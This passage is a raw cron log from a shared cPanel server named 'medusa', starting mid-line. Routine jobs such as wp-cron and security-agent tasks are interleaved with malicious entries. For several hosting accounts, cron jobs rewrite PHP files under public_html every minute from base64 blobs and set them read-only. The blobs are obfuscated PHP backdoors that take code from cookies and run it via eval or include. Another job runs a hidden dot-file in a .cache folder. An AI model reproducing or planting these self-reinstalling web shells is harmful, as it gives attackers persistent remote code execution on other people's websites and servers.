enp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:15:01 medusa CROND[22583]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22585]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:15:01 medusa CROND[22586]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22588]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:15:01 medusa CROND[22589]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:15:01 medusa CROND[22590]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:15:01 medusa CROND[22592]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22594]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:15:01 medusa CROND[22599]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:16:01 medusa CROND[8468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:16:01 medusa CROND[8470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:16:01 medusa CROND[8472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:16:01 medusa CROND[8473]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:16:01 medusa CROND[8474]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:16:01 medusa CROND[8475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:16:01 medusa CROND[8478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:16:01 medusa CROND[8481]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:16:01 medusa CROND[8482]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:16:01 medusa CROND[8483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:16:01 medusa CROND[8486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:16:01 medusa CROND[8484]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:16:01 medusa CROND[8493]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:16:01 medusa CROND[8495]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:17:01 medusa CROND[26282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:17:01 medusa CROND[26456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:17:01 medusa CROND[26457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:17:01 medusa CROND[26458]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 05:17:01 medusa CROND[26459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:17:01 medusa CROND[26462]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:17:01 medusa CROND[26464]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:17:01 medusa CROND[26465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:17:01 medusa CROND[26471]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:17:01 medusa CROND[26474]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
